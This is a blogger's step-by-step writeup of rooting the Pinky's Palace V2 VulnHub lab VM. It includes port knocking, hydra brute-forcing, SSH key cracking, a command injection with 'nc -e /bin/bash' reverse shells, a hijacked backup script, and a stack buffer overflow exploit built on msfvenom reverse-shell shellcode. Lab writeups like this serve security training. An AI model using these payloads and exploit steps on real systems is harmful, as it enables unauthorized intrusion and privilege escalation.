Pinky's Palace V2 – Writeup

Details

This machine is https://www.vulnhub.com/entry/pinkys-palace-v2,229/, my writeup of V1 can be found at https://blog.barradell-johns.com/index.php/2018/07/10/pinkys-palace-v1-writeup/

Note: I had to use VMWare instead of virtual box for this machine

Recon Phase

To start, I used nmap to locate the machine on the network

root@kali:~# nmap -sn 192.168.149.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 20:47 EDT
Nmap scan report for 192.168.149.1
Host is up (0.00042s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.149.128
Host is up (0.00098s latency).
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Nmap scan report for 192.168.149.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:F4:CB:0D (VMware)
Nmap scan report for 192.168.149.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.17 seconds

From this I knew my target was 192.168.149.128 and I began to look for services on it

root@kali:~# nmap -sV 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 20:49 EDT
Nmap scan report for 192.168.149.128
Host is up (0.00025s latency).
Not shown: 998 closed ports
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
31337/tcp filtered Elite
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.60 seconds

Feeling there could be more, I carried out a more in depth scan

root@kali:~# nmap -sV -p- 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 20:50 EDT
Nmap scan report for 192.168.149.128
Host is up (0.00032s latency).
Not shown: 65531 closed ports
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.30 seconds

Getting to a shell

I started by adding it to the hosts file per the instructions

root@kali:~# echo 192.168.149.128 pinkydb | sudo tee -a /etc/hosts

Then I took a look over at the webserver

Screenshot 1

Screenshot 2

Noting it was wordpress I fired up wpscan

root@kali:~# wpscan -u 192.168.149.128
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|
        WordPress Security Scanner by the WPScan Team
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.149.128/
[+] Started: Sat Aug  4 20:51:08 2018
[!] The WordPress 'http://192.168.149.128/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://pinkydb/index.php?rest_route=/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.25 (Debian)
[+] XML-RPC Interface available under: http://192.168.149.128/xmlrpc.php
[!] Includes directory has directory listing enabled: http://192.168.149.128/wp-includes/
[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from links opml, meta generator
[!] 5 vulnerabilities identified from the version number
[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[!] Title: WordPress 3.7-4.9.4 - Remove localhost Default
    Reference: https://wpvulndb.com/vulnerabilities/9053
    Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
[i] Fixed in: 4.9.5
[!] Title: WordPress 3.7-4.9.4 - Use Safe Redirect for Login
    Reference: https://wpvulndb.com/vulnerabilities/9054
    Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
[i] Fixed in: 4.9.5
[!] Title: WordPress 3.7-4.9.4 - Escape Version in Generator Tag
    Reference: https://wpvulndb.com/vulnerabilities/9055
    Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
[i] Fixed in: 4.9.5
[!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
    Reference: https://wpvulndb.com/vulnerabilities/9100
    Reference: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
    Reference: http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
    Reference: https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
    Reference: https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
    Reference: https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
[i] Fixed in: 4.9.7
[+] WordPress theme in use: twentyseventeen - v1.4
[+] Name: twentyseventeen - v1.4
 |  Last updated: 2018-08-02T00:00:00.000Z
 |  Location: http://192.168.149.128/wp-content/themes/twentyseventeen/
 |  Readme: http://192.168.149.128/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
 |  Style URL: http://192.168.149.128/wp-content/themes/twentyseventeen/style.css
 |  Referenced style.css: http://pinkydb/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Finished: Sat Aug  4 20:51:14 2018
[+] Requests Done: 374
[+] Memory used: 18.348 MB
[+] Elapsed time: 00:00:05

This turned up nothing but I was able to find a username of "pinky1337" from a post

Screenshot 3

From here I setup dirbuster

Screenshot 4

Screenshot 5

The secret file caught my attention, so I went to http://192.168.149.128/secret/bambam.txt to check it out

Screenshot 6

These numbers looked like ports, and having seen some filtered ports it felt like they could be for port knocking, so I used my port knocking tool available here to try it

root@kali:~# python3 knocker.py -h 192.168.149.128 -p 8890:7000:666
[+] Beginning knocking against 192.168.149.128
[+] Knocking on port 8890 with method: tcp
[+] Knocking on port 7000 with method: tcp
[+] Knocking on port 666 with method: tcp
[+] Knocking complete

I then checked if anything changed with nmap

nmap -sV -p- 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:33 EDT
Nmap scan report for pinkydb (192.168.149.128)
Host is up (0.00032s latency).
Not shown: 65531 closed ports
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

I then began re-ordering the ports and trying again, until I eventually hit 7000:666:8890

root@kali:~# python3 knocker.py -h 192.168.149.128 -p 7000:666:8890
[+] Beginning knocking against 192.168.149.128
[+] Knocking on port 7000 with method: tcp
[+] Knocking on port 666 with method: tcp
[+] Knocking on port 8890 with method: tcp
[+] Knocking complete

Then on nmap

root@kali:~# nmap -sV -p- 192.168.149.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:40 EDT
Nmap scan report for pinkydb (192.168.149.128)
Host is up (0.00097s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
4655/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp  open  http    nginx 1.10.3
31337/tcp open  Elite?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.70%I=7%D=8/4%Time=5B6655B5%P=x86_64-pc-linux-gnu%r(NU
SF:LL,59,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is
SF:\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.\
SF:n=>\x20\0")%r(GetRequest,6B,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x
SF:20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x
SF:20Pinky's\x20Palace\.\n=>\x20\0GET\x20/\x20HTTP/1\.0\r\n\r\n");
MAC Address: 00:0C:29:8B:4A:B2 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.60 seconds

This time it had worked and the ports had opened, I noticed the port on 31337 mentioned a backdoor, so I connected to see

root@kali:~# nc 192.168.149.128 31337
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=>

This seemed to be a shell, but every command just got returned and the connection closed. I then decided to checkout the other webserver on http://192.168.149.128:7654/

Screenshot 7

Just to make sure, I tried http://pinkydb:7654 encase it was set to require the correct hostname

Screenshot 8

Then I clicked the login button

Screenshot 9

Having run out of leads, I decided to attempt to brute force entry to this new login form, I started by making a list of potential usernames which I saved as users.txt

admin
pinky
pinky1337

Next I setup hydra

hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-05 11:06:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 666 login tries (l:3/p:222), ~42 tries per task
[DATA] attacking http-post-form://pinkydb:7654//login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-05 11:06:30

As this failed I needed another wordlist, before trying rockyou.txt (due to it's size) I used cewl to generate a wordlist based on the only other site I had, the wordpress site

root@kali:~# cewl pinkydb > customlist.txt
root@kali:~# wc -l customlist.txt
168 customlist.txt

Once I had the list I fired up hydra again

root@kali:~# hydra -L users.txt -P ./customlist.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-05 11:08:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 504 login tries (l:3/p:168), ~32 tries per task
[DATA] attacking http-post-form://pinkydb:7654//login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password!
[7654][http-post-form] host: pinkydb   login: pinky   password: Passione
[7654][http-post-form] host: pinkydb   login: pinky1337   password: WordPress
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-05 11:08:33

From here I logged in as pinky

Screenshot 10

I downloaded and saved the key as id_rsa, Then opened the notes

Screenshot 11

I tried the key on ssh

root@kali:~# ssh stefano@192.168.149.128 -p 4655 -i ./id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

This was an easy fix

root@kali:~# chmod 600 ./id_rsa

Then I used it again

root@kali:~# ssh stefano@192.168.149.128 -p 4655 -i ./id_rsa
Enter passphrase for key './id_rsa':
#

As it was passworded, I used ssh2john and john to crack it

root@kali:~# ssh2john ./id_rsa > crack.txt
root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
secretz101       (id_rsa)
1g 0:00:00:01 DONE (2018-08-05 11:21) 0.7462g/s 974454p/s 974454c/s 974454C/s secretz101
Use the "--show" option to display all of the cracked passwords reliably
Session completed

With the key cracked I logged in with it

root@kali:~# ssh stefano@192.168.149.128 -p 4655 -i ./id_rsa
Enter passphrase for key './id_rsa':

Then used the key of secretz101

stefano@Pinkys-Palace:~$

And with that I had a shell

Priv Esc

With a shell my first idea was to dig around

stefano@Pinkys-Palace:~$ ls -la
drwxr-xr-x 4 stefano stefano 4096 Mar 17 21:27 .
drwxr-xr-x 5 root    root    4096 Mar 17 15:20 ..
-rw------- 1 stefano stefano  273 Mar 17 21:27 .bash_history
-rw-r--r-- 1 stefano stefano  220 May 15  2017 .bash_logout
-rw-r--r-- 1 stefano stefano 3526 May 15  2017 .bashrc
-rw-r--r-- 1 stefano stefano  675 May 15  2017 .profile
drwx------ 2 stefano stefano 4096 Mar 17 04:01 .ssh
drwxr-xr-x 2 stefano stefano 4096 Mar 17 04:01 tools
stefano@Pinkys-Palace:~$ cd tools
stefano@Pinkys-Palace:~/tools$ ls -la
drwxr-xr-x 2 stefano stefano   4096 Mar 17 04:01 .
drwxr-xr-x 4 stefano stefano   4096 Mar 17 21:27 ..
-rw-r--r-- 1 stefano stefano     65 Mar 16 04:28 note.txt
-rwsr----x 1 pinky   www-data 13384 Mar 16 04:40 qsub

Here I find a file I can execute, with the setuid bit enabled as pinky, and a note

stefano@Pinkys-Palace:~/tools$ cat note.txt
Pinky made me this program so I can easily send messages to him.

Next I messed around with the program a bit to see what it did

stefano@Pinkys-Palace:~/tools$ ./qsub
./qsub <Message>
stefano@Pinkys-Palace:~/tools$ ./qsub hi
[+] Input Password:

I put "a"

[!] Incorrect Password!

I decided to test if I could make it seg fault

stefano@Pinkys-Palace:~/tools$ ./qsub $(python -c "print 'A'*100")
[+] Input Password:

I put a lot of the character "A"

Bad hacker! Go away!

It seemed to detect buffer overflow attempts. So I wanted to inspect it with gdb

stefano@Pinkys-Palace:~/tools$ gdb ./qsub
-bash: gdb: command not found

As gdb was not available I wanted to exfil the program to inspect it, but I did not have read access. But I noticed the www-data group did, so I began digging through the websites looking for any local file inclusion vulns and eventually ended up back on the page I got the rsa key from http://pinkydb:7654/pageegap.php?1337=filesselif1001.php

This seemed to be reading from a file, to test if it was LFI I went to http://pinkydb:7654/pageegap.php?1337=/etc/passwd

Screenshot 12

With confirmed LFI, I included the file http://pinkydb:7654/pageegap.php?1337=/home/stefano/tools/qsub

Screenshot 13

Within this file I instantly noticed that within the readable strings was "TERM" this looked like an environment variable, it made no sense for the program to reference the environment variable. This caused me to consider it could be the password so I tried it

stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color
./qsub hi
[+] Input Password:

I put "xterm-256color"

[+] Welcome to Question Submit!

This was a different message to before, from that I guessed it was the right password. Now also in the strings I could see

/bin/echo %s >> /home/pinky/messages/stefano_msg.txt

I assumed the %s was a format string where my message gets included. But the use of a shell command to write to the file left this open to potential command injection unless it was escaped. I started by opening a listener to receive the reverse shell if I was successful

root@kali:~# nc -nlvp 4444

I then injected a command, I wrapped it in single quotes to prevent it being executed when I typed it, assuming these would be stripped by the program, triggering the command to be run

stefano@Pinkys-Palace:~/tools$ ./qsub '$(nc -e /bin/bash 192.168.149.129 4444)'
[+] Input Password:

Using the same password as before, the program hung, so I checked my listener

connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 47140
$

This gave a reverse shell

$ whoami
pinky

Using the normal python trick I upgraded my shell

$ python -c "import pty;pty.spawn('/bin/bash')"
pinky@Pinkys-Palace:~/tools$

With my new shell I began to look around for anything new

pinky@Pinkys-Palace:~/tools$ cd /home/pinky
pinky@Pinkys-Palace:/home/pinky$ ls -la
drwxr-x--- 3 pinky pinky 4096 Mar 17 21:27 .
drwxr-xr-x 5 root  root  4096 Mar 17 15:20 ..
-rw------- 1 pinky pinky   66 Mar 17 21:27 .bash_history
-rw-r--r-- 1 pinky pinky  220 Mar 17 04:27 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Mar 17 04:27 .bashrc
drwxr-xr-x 2 pinky pinky 4096 Mar 17 04:01 messages
-rw-r--r-- 1 pinky pinky  675 Mar 17 04:27 .profile
pinky@Pinkys-Palace:/home$ find / -user pinky
[NOTHING USEFUL]
pinky@Pinkys-Palace:/home$ find / -group pinky
[SNIP]
/usr/local/bin/backup.sh
[SNIP]

The backup script looked interesting so I went to take a look

pinky@Pinkys-Palace:/home$ cd /usr/local/bin
pinky@Pinkys-Palace:/usr/local/bin$ ls -la
drwxrwsr-x  2 root  staff 4096 Mar 17 16:31 .
drwxrwsr-x 10 root  staff 4096 Mar 17 04:24 ..
-rwxrwx---  1 demon pinky  113 Mar 17 21:24 backup.sh

Noticing it was in the pinky group I tried to read it

pinky@Pinkys-Palace:/usr/local/bin$ cat backup.sh
cat: backup.sh: Permission denied

This confused me a little so I checked my groups

pinky@Pinkys-Palace:/usr/local/bin$ id
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),1002(stefano)

I realised this shell upgrade to pinky using a setuid bit so the groups weren't updated, although it was an easy fix

pinky@Pinkys-Palace:/usr/local/bin$ newgrp
pinky@Pinkys-Palace:/usr/local/bin$ id
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),1002(stefano)

Now in the pinky group I could see the script

pinky@Pinkys-Palace:/usr/local/bin$ cat backup.sh
#!/bin/bash
rm /home/demon/backups/backup.tar.gz
tar cvzf /home/demon/backups/backup.tar.gz /var/www/html
#
#
#

As I had write access, and it was a backup script, I assumed it would be executed automatically, so I overwrote it with another reverse shell. The file is owned by demon, so I assumed it would also be executed by them

pinky@Pinkys-Palace:/usr/local/bin$ echo "nc -e /bin/bash 192.168.149.129 2222" > backup.sh

Now I needed a listener to receive the shell

root@kali:~# nc -nlvp 2222

After a bit of waiting

connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 43656
$

It connected back with a reverse shell

$ whoami
demon
$ python -c "import pty;pty.spawn('/bin/bash')"
demon@Pinkys-Palace:~$

With another new user I began to look around

demon@Pinkys-Palace:~$ ls -la
drwxr-x--- 3 demon demon 4096 Mar 17 20:02 .
drwxr-xr-x 5 root  root  4096 Mar 17 15:20 ..
drwxr-xr-x 2 demon demon 4096 Aug  5 09:25 backups
lrwxrwxrwx 1 root  root     9 Mar 17 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 demon demon  220 May 15  2017 .bash_logout
-rw-r--r-- 1 demon demon 3526 May 15  2017 .bashrc
lrwxrwxrwx 1 root  root     9 Mar 17 20:02 .mysql_history -> /dev/null
-rw-r--r-- 1 demon demon  675 May 15  2017 .profile
demon@Pinkys-Palace:~$ find / -user demon
[SNIP]
/daemon
/daemon/panel
[SNIP]

This was new to me, so I went to look at it

demon@Pinkys-Palace:~$ cd /daemon
demon@Pinkys-Palace:/daemon$ ls -la
drwxr-x---  2 demon demon  4096 Mar 17 19:48 .
drwxr-xr-x 25 root  root   4096 Mar 17 19:31 ..
-rwxr-x---  1 demon demon 13280 Mar 17 19:48 panel
demon@Pinkys-Palace:/daemon$ file panel
panel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d568c8bce502884642e6a62b93033441b616e46, not stripped

I also found it was running as root

demon@Pinkys-Palace:/daemon$ ps -aux | grep panel
root        467  0.0  0.0   4040   648 ?        Ss   18:40   0:00 /daemon/panel

I decided to try runnign it

demon@Pinkys-Palace:/daemon$ ./panel
[-] binding to socket
[SNIP]

The reference to a socket, gave me a hint it was the incomplete shell running on port 31337, with no debugging tools installed on the target I needed to exfil it, for this I used netcat

root@kali:~# nc -nlvp 1111 > panel
demon@Pinkys-Palace:/daemon$ nc 192.168.149.129 1111 < panel

Then on the listening terminal

connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 60170

Once it finished, I chmoded it

root@kali:~# chmod +x panel

I then ran it, which bound it to port 31337, this was enough to confirm it was the fake shell on port 31337 of the target, I began to inspect it

gdb ./panel
(gdb)

I assumed as it was a program using networking it would be threaded or use forks to allow multiple connections so I set gdb to follow forks and keep them bound

(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off

From here I beganto look into the program

(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400718  _init
0x0000000000400740  recv@plt
0x0000000000400750  strcpy@plt
0x0000000000400760  setsockopt@plt
0x0000000000400770  strlen@plt
0x0000000000400780  htons@plt
0x0000000000400790  send@plt
0x00000000004007a0  printf@plt
0x00000000004007b0  memset@plt
0x00000000004007c0  close@plt
0x00000000004007d0  listen@plt
0x00000000004007e0  bind@plt
0x00000000004007f0  accept@plt
0x0000000000400800  exit@plt
0x0000000000400810  wait@plt
0x0000000000400820  fork@plt
0x0000000000400830  socket@plt
0x0000000000400840  _start
0x0000000000400870  deregister_tm_clones
0x00000000004008b0  register_tm_clones
0x00000000004008f0  __do_global_dtors_aux
0x0000000000400910  frame_dummy
0x0000000000400936  fatal
0x0000000000400964  handlecmd
0x00000000004009ab  main
0x0000000000400b90  __libc_csu_init
0x0000000000400c00  __libc_csu_fini
0x0000000000400c04  _fini

As it was a shell, I assumed any input would be put into the handlecmd function, so I took a look at that

(gdb) disas handlecmd
Dump of assembler code for function handlecmd:
   0x0000000000400964 <+0>: push   rbp
   0x0000000000400965 <+1>: mov    rbp,rsp
   0x0000000000400968 <+4>: add    rsp,0xffffffffffffff80
   0x000000000040096c <+8>: mov    QWORD PTR [rbp-0x78],rdi
   0x0000000000400970 <+12>:    mov    DWORD PTR [rbp-0x7c],esi
   0x0000000000400973 <+15>:    mov    rdx,QWORD PTR [rbp-0x78]
   0x0000000000400977 <+19>:    lea    rax,[rbp-0x70]
   0x000000000040097b <+23>:    mov    rsi,rdx
   0x000000000040097e <+26>:    mov    rdi,rax
   0x0000000000400981 <+29>:    call   0x400750 <strcpy@plt>
   0x0000000000400986 <+34>:    lea    rax,[rbp-0x70]
   0x000000000040098a <+38>:    mov    rdi,rax
   0x000000000040098d <+41>:    call   0x400770 <strlen@plt>
   0x0000000000400992 <+46>:    mov    rdx,rax
   0x0000000000400995 <+49>:    lea    rsi,[rbp-0x70]
   0x0000000000400999 <+53>:    mov    eax,DWORD PTR [rbp-0x7c]
   0x000000000040099c <+56>:    mov    ecx,0x0
   0x00000000004009a1 <+61>:    mov    edi,eax
   0x00000000004009a3 <+63>:    call   0x400790 <send@plt>
   0x00000000004009a8 <+68>:    nop
   0x00000000004009a9 <+69>:    leave
   0x00000000004009aa <+70>:    ret

The use of strcpy instead of strncpy was a good sign as it may mean I could overflow a buffer to get control of the program. To test this theory I decided to try and cause a seg fault

(gdb) run
Starting program: /root/Documents/pinkyv2/panel
[New process 2853]

Then in another terminal

root@kali:~# echo $(python -c "print 'A'*500") | nc localhost 31337

Back in the gdb

Thread 2.1 "panel" received signal SIGSEGV, Segmentation fault.
[Switching to process 2030]
0x00000000004009aa in handlecmd ()

The segfault was a good sign, I tried it again

(gdb) run
[New process 2035]
echo $(python -c "print 'A'*100") | nc localhost 31337
[Inferior 3 (process 2035) exited normally]

It didn't crash on 100, with a bit of trial and error I found the crash occurred at 113 bytes, and from there I found it took a total of 124 byte to overwrite the RIP register for the return address. From here I wanted to inspect what memory looked like after the overflow, so I put in a break point after the strcpy

(gdb) break *0x0000000000400986

Then ran the program and overflowed it with A's where shellcode could go and B's where the return addr could go

(gdb) run
root@kali:~# echo $(python -c "print 'A'*120+'B'*4") | nc localhost 31337

I then inspected the registers and stack

(gdb) info registers
rax            0x7d 125
rbx            0x0  0
rcx            0x7ffff7b1607d   140737348984957
rdx            0x7d 125
rsi            0x7fffffffd0c0   140737488343232
rdi            0x4  4
rbp            0x4141414141414141   0x4141414141414141
rsp            0x7fffffffd140   0x7fffffffd140
r8             0x0  0
r9             0x0  0
r10            0x0  0
r11            0x246    582
r12            0x400840 4196416
r13            0x7fffffffe270   140737488347760
r14            0x0  0
r15            0x0  0
rip            0xa42424242  0xa42424242
eflags         0x10207  [ CF PF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/100x $rsp
0x7fffffffd140: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd148: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd150: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd158: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd160: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd168: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd170: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd178: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd180: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd188: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd190: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd198: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd1a0: 0x41    0x41    0x41    0x41

So I spent a long time on this bit, and ended up installing an extension to gdb called peda which can be found at https://github.com/longld/peda. As I could only find a way of overwriting up to 6 bytes of the return address before it stopped working, but needed 8 bytes to address my shellcode. I eventually found the RSP register pointed to where the shellcode would start so I instead used peda to locate a call to RSP

gdb-peda$ jmpcall
0x400728 : call rax
0x400895 : jmp rax
0x4008e3 : jmp rax
0x40092e : call rax
0x400cfb : call rsp
0x400d6b : call [rax]

As this was only 3 bytes I could address it with the return address in my overflow as

\xfb\x0c\40\00

Padded with a null byte, the problem here was due to the null byte I could no longer use a shell to send the exploit, so I started using a python script. I needed an x64 reverse shell shell-code, I tried a few but had some issues, eventually turning to msfvenom to create the exploit

root@kali:~# msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.149.129 LPORT=4444 -b 00 -f python

Which was a 119 byte shellcode, as I had 120 bytes to fill before the return address I padded it with a nop \x90 and then added the return address, my final exploit looked like

import socket
buf =  "\x90"
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xef\x22\xd7\xdc\x36\xd0\xd5"
buf += "\x47\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x85\x0b\x8f\x45\x5c\xd2\x8a\x2d\xee\x7c\xd8\xd9\x7e"
buf += "\x47\x9d\xfe\xed\x22\xc6\x80\xf6\x78\x40\xc6\xbe\x6a"
buf += "\x5e\x3a\x5c\xc0\x8f\x2d\xc5\x7a\xd8\xd9\x5c\xd3\x8b"
buf += "\x0f\x10\xec\xbd\xfd\x6e\xdf\xd0\x32\x19\x48\xec\x84"
buf += "\xaf\x98\x6e\x68\x8d\x4b\xb9\xf3\x45\xb8\xd5\x14\xa7"
buf += "\xab\x30\x8e\x61\x98\x5c\xa1\xe0\x27\xd7\xdc\x36\xd0"
buf += "\xd5\x47"
buf += "\xfb\x0c\x40\x00"
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(('[TARGET IP]',31337))
soc.send(buf)
soc.close()

Where I replaced [TARGET_IP] with the relevant IP. I first wanted to test this locally, so I opened a listener

root@kali:~# nc -nvlp 4444

Then ran the program followed by the exploit

root@kali:~# python ./exploit.py
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.129] 46674
$

As it worked locally, I updated the IP to be my target and ran it again

root@kali:~# nc -nvlp 4444
root@kali:~# python ./exploit.py
connect to [192.168.149.129] from (UNKNOWN) [192.168.149.128] 45456
#

This time I got a shell back from my target

# whoami
root

And it was a root shell, from here I just had a flag to collect

# cd /root
# ls -la
drwx------  2 root root 4096 Mar 17 22:51 .
drwxr-xr-x 25 root root 4096 Mar 17 19:31 ..
lrwxrwxrwx  1 root root    9 Mar 17 20:01 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
lrwxrwxrwx  1 root root    9 Mar 17 20:01 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root 1953 Mar 17 22:51 .viminfo
-rw-------  1 root root  639 Mar 17 22:51 root.txt
# cat root.txt
|  _ \(_)_ __ | | ___   _( )___
| |_) | | '_ \| |/ / | | |// __|
|  __/| | | | |   <| |_| | \__ \
|_|   |_|_| |_|_|\_\\__, | |___/
                    |___/
 ____       _
|  _ \ __ _| | __ _  ___ ___
| |_) / _` | |/ _` |/ __/ _ \
